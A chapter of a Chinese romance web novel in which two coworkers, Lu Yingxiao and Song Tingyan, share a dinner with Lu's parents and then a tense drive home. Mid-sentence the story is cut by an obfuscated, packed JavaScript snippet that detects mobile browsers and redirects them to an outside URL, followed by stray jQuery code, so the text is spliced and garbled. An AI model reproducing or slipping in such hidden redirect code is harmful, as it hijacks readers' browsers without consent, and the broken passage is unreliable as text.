陆母问道:“你们认识?”
“何止是认识啊,简直太熟了。”陆应萧把东西转到一只手上,空出一只手去楼宋亭宴的腰,“我同事,好哥们。”
他暗地里掐着宋亭宴腰侧用力,笑嘻嘻地低头看宋亭宴,真哥俩好似的:“是不是呀,宋总监?”
有长辈在,宋亭宴不好和陆应萧发作,只能吞下陆应萧的威胁,勉强笑道:“是的。”
“那更好啊,孩子,去阿姨家吃一顿吧。”陆母抚掌,“多巧呀。”
陆应萧加重语气附和道:“对啊,宋总监,赏个脸吧。”
宋亭宴不好意思再三拂了别人的好心,应道:“好啊,那辛苦阿姨了。”
话里话外压根没有搭理陆应萧的意思,当陆应萧是空气。
陆应萧父母家是市内的一座独栋,出行便捷,环境幽静。宋亭宴他们刚到,正巧遇到陆应萧爸爸视察工地回来。
“应萧,带朋友来玩啊?”陆父热情招呼道,“好不容易带个朋友回家,好好招待一下。”
宋亭宴礼貌道:“叔叔好。”
陆应萧父母进厨房做饭去了,宋亭宴想要帮忙,被陆应萧拦住了。
“又不是谈恋爱见家长,这么急于表现自己呢?”陆应萧把他安置在沙发上,给他接了杯水,“下回带我去你家看看呗,我们就算扯平了。”
“我父母都是工薪阶层,家里也没你家这么大,怕陆少爷嘲笑我。”宋亭宴一口拒绝,“你今天怎么下班这么早?”
陆应萧正动作利落地给宋亭宴剥猕猴桃,递给他后擦了擦手,道:“怎么,只允许宋总监下班,不允许我下班啊?”
宋亭宴心里有股莫名的不舒服。不知道是不是错觉,他总觉得陆应萧在监视自己,精准掌握自己的一举一动。
包括刚才在菜场的偶遇,太巧了。
陆应萧一屁股坐到宋亭宴身边,又往他的方向挪了挪,两指捏起宋亭宴的下巴,歪头笑着看他:“跟我爸妈说话那么讲礼貌,怎么跟我说话就这么难听呢?”
宋亭宴晃着头想要甩开陆应萧,无果,“你作为我的后辈,对我一点也不尊重,我还没说你呢,你倒是先委屈起来了。”
陆应萧揉着宋亭宴的脸颊肉玩,毫无诚意地道歉:“对不起,小宋前辈。”
宋亭宴一言不发地把猕猴桃吃完,陆应萧抽出一张湿巾帮他擦手。
“走啊宋三宝,带你看看我家。”陆应萧细致地擦干净宋亭宴的十指,起身要去拉他,“这可是我长大的地方。”
“不去。”宋亭宴把手背到身后,把话原封不动地还给陆应萧,“我们的关系还没好到可以互相分享秘密的地步。”
他确实还有赌气的成分。陆应萧昨晚说他们关系不熟,今晚又和他亲近得要命,他不知道陆应萧的哪一面才是真的,陆应萧到底有没有真感情。
满嘴谎话的骗子,谁把真心托付给他,那真是倒了八百辈子霉。
“我昨天逗你玩的,我们的关系多好呀。”陆应萧说着,又要去卷宋亭宴的发尾玩,“生气啦?说明你对我还是挺上心的嘛。”
宋亭宴从陆应萧手中救下自己的头发,狠狠推了坐在沙发扶手上的陆应萧一把。陆应萧装作趔趄的样子走出几步,回头咧嘴一笑。
“每次被我说中就对我发脾气,小辣椒。”
宋亭宴还要在陆应萧身上泄愤,陆应萧爸妈把饭菜端上了桌。宋亭宴瞬间收了手,又变成所有人眼中的“别人家的孩子”,温和懂理,脸上挂起浅笑。
他执意帮陆母摆好碗筷,又帮忙盛饭。陆母笑得合不拢嘴,连声夸赞宋亭宴是好孩子。
陆应萧一点异议也没有,甚至一个劲在父母面前说宋亭宴的好话。宋亭宴听半天没听出到底含不含讽刺意味,有些郁闷地从陆应萧筷子下抢下一个萝卜丝丸。
陆应萧特意和父母说了宋亭宴口味清淡偏甜,桌上的菜几乎都是清炒或葱油,还有一道蓝莓山药当甜品。宋亭宴努力让自己看上去吃得很香,生怕辜负了陆应萧父母的好意。
陆母给宋亭宴盛了一碗汤,放到他面前,问道:“小宋长这么好看,性格也好,现在有没有处对象呀?”
宋亭宴和陆应萧异口同声道:“有。”
宋亭宴回答完,缓缓看向差点帮自己抢答的陆应萧。
刚才还说得掷地有声的人先是愣了一下,继而低下头扒拉起米饭来,没有看宋亭宴,也没再参与聊天。
宋亭宴有些好笑,刚才只是避免被相亲而找的借口,现在倒觉得当真了也不错。
“有对象好,你工作又稳定,接下来就可以成家了。”陆母笑道,“我们家应萧就死活不肯找对象,说什么要找个灵魂契合的人,可愁死我和他爸了。”
宋亭宴睨了垂头丧气的陆应萧一眼,笑意盈盈道:“没关系的阿姨,应萧这么年轻有为,不缺追求者的。”
他都把陆应萧捧到这了,陆应萧依旧没说话,把嘴里塞得满满的一个劲嚼,不知道在沉默什么——嫉妒自己先脱单?
而且陆应萧所说的“有”又是什么意思?
“我才二十六呢,妈你别急。”陆应萧终于开口说话了,“宋总监都三十了,他那才是该谈恋爱的年纪。”
“还比上了?”陆父帮陆母说话,“小宋可比你听话多了。”
陆应萧扯了扯嘴角,给足了宋亭宴面子:“确实,这点我要向宋总监学习。”
陆父陆母可能对陆应萧的排斥习以为常,宋亭宴却知道陆应萧现在的状态已经不对了。但他反而更加心情舒畅,看到陆应萧被自己吓得情绪失控,就觉得自己这次发挥得不错。
陆应萧这种人就是狂妄自大惯了,看不得别人跑在他前面,欠打击。
“对了爸,你上次不是想要个剃须刀嘛,我给你买了。”陆应萧很快抹去自己的烦闷,换了话题,餐桌的气氛重新活跃起来,“三头的,还自带鬓角刀,到时候寄到了你肯定满意。”
陆父朗声笑道:“好小子,知道孝敬爸爸了。”
陆应萧也笑,把最后一只螃蟹拆了,一人一半分到父母碗里。
“宋总监,你吃不吃蟹钳?”他又拿起盘中落下的蟹钳问宋亭宴,“我给你剥了吧。”
宋亭宴胃不好吃饭慢,又怕别人等自己,到后面吃得有些囫囵,胃里已经开始消化不动。
而陆应萧其实早就吃完了,但还是时不时地吃一小口菜,直到他放下筷子,才吃完最后一口擦了擦嘴。
“小宋啊,今晚住阿姨这,明天和应萧一起上班好不好?”陆母把碗放入洗碗机,擦干净手走出厨房,慈爱道,“阿姨还没怎么好好招待你呢。”
宋亭宴适当地面露难色:“不好意思啊阿姨,家里还有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278812|166737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等,下次我买些新鲜水果补品再来上门。您和叔叔今天这么热情,我感谢还来不及呢。”
陆应萧在一旁两手插兜,哼哼着晃来晃去,给宋亭宴翻白眼看。陆母给了陆应萧后背一巴掌,说:“去送送小宋去,一天天没个正型。”
宋亭宴表现得礼貌且善解人意:“不用了阿姨,太晚了,让应萧也休息吧。我坐地铁回去很快的。”
说话间陆应萧已经穿上了外套,说:“我送你。”
两人出了院子大门,直到陆应萧家已经看不见了,陆应萧才悠悠开口嘲弄道:“宋总监,急着回家抱女朋友去啊?”
要不是陆应萧说,宋亭宴都快忘了自己有个虚拟女友的事了。他还得谢谢陆应萧帮自己想起来,好让自己有压陆应萧一头的机会。
他笑了笑,语气温柔:“是呀,回去这么晚,我还要和她报备呢。”
陆应萧声音低沉:“怪不得宋总监一个十指不沾阳春水的人今天突然回家下厨,原来是金屋藏娇了。可惜我半路截胡了宋总监的好事,宋总监不会怪罪我吧?”
此时两人已经走到了小区的人工湖边。高档小区设施先进,路灯光线明亮温暖,被湖面反射出来,亮晶晶的。
宋亭宴拢了拢风衣,抬眼看向阴阳怪气的陆应萧。陆应萧只给了他半张侧脸,轮廓分明而深邃,眉目阴沉,嘴角紧抿。
风卷起陆应萧额前刘海,露出大半张光洁额头,伪装出来的纯良无害被吹散得一干二净,眉眼间尽是深沉锋利。
宋亭宴总能在这种时候意识到,陆应萧早已不是那个刚入职时天天没皮没脸地跟在自己身后、不厌其烦地喊自己名字的大学生了。
“没关系,我不怪你。”他以一种年长者的包容姿态微笑道,企图寻求岌岌可危的心理平衡。
“你们今晚,本来要吃什么?”陆应萧神经质般,问着没有营养的问题,“你买的那些菜,都会给她做吗?”
宋亭宴觉得陆应萧这副婆婆妈妈的样子有些烦,敷衍道:“会。”
陆应萧又不说话了,深沉目光凝视着他,就像这浓墨重彩的黑夜一样,裹挟本就稀薄的空气。
“不要试图窥探我的私生活,陆应萧。”宋亭宴察觉到他的反常,语气变得严肃了许多,“我有我的轨迹,也不会因为你的出现而改变的。”
陆应萧伸出手把玩着湖边垂柳,将整个柳树晃得沙沙作响。沉寂的夜晚被破开,却反倒更为其添了几分静与凉。
陆应萧并不走,但也不说话,微微仰头迎着湖面吹来的裹着湿气的风,深吸一口气,肩膀倏地一沉。
“你回去吧,别在我这里浪费时间了。”宋亭宴对陆应萧此时的样子很不适应,不想再陪陆应萧演哑剧了,道,“我坐地铁很方便,不用送了。”
陆应萧像是刚回过神来,把脚下的石子踢入湖中,说:“我想把你送回家。”
宋亭宴半开玩笑道:“回家见你嫂子吗?”
陆应萧冷冷地看了宋亭宴一眼,“我去取车。”
两人在车上一路无言。宋亭宴被陆应萧送到单元楼楼下,解开安全带想要逃离这个令人窒息的环境,就听陆应萧在身旁叫道:“宋亭宴。”
宋亭宴开车门的手一顿,回头。
“没什么。”车内光线昏暗,陆应萧大半个人埋在阴影中,没头没脑地说,“挺好的。”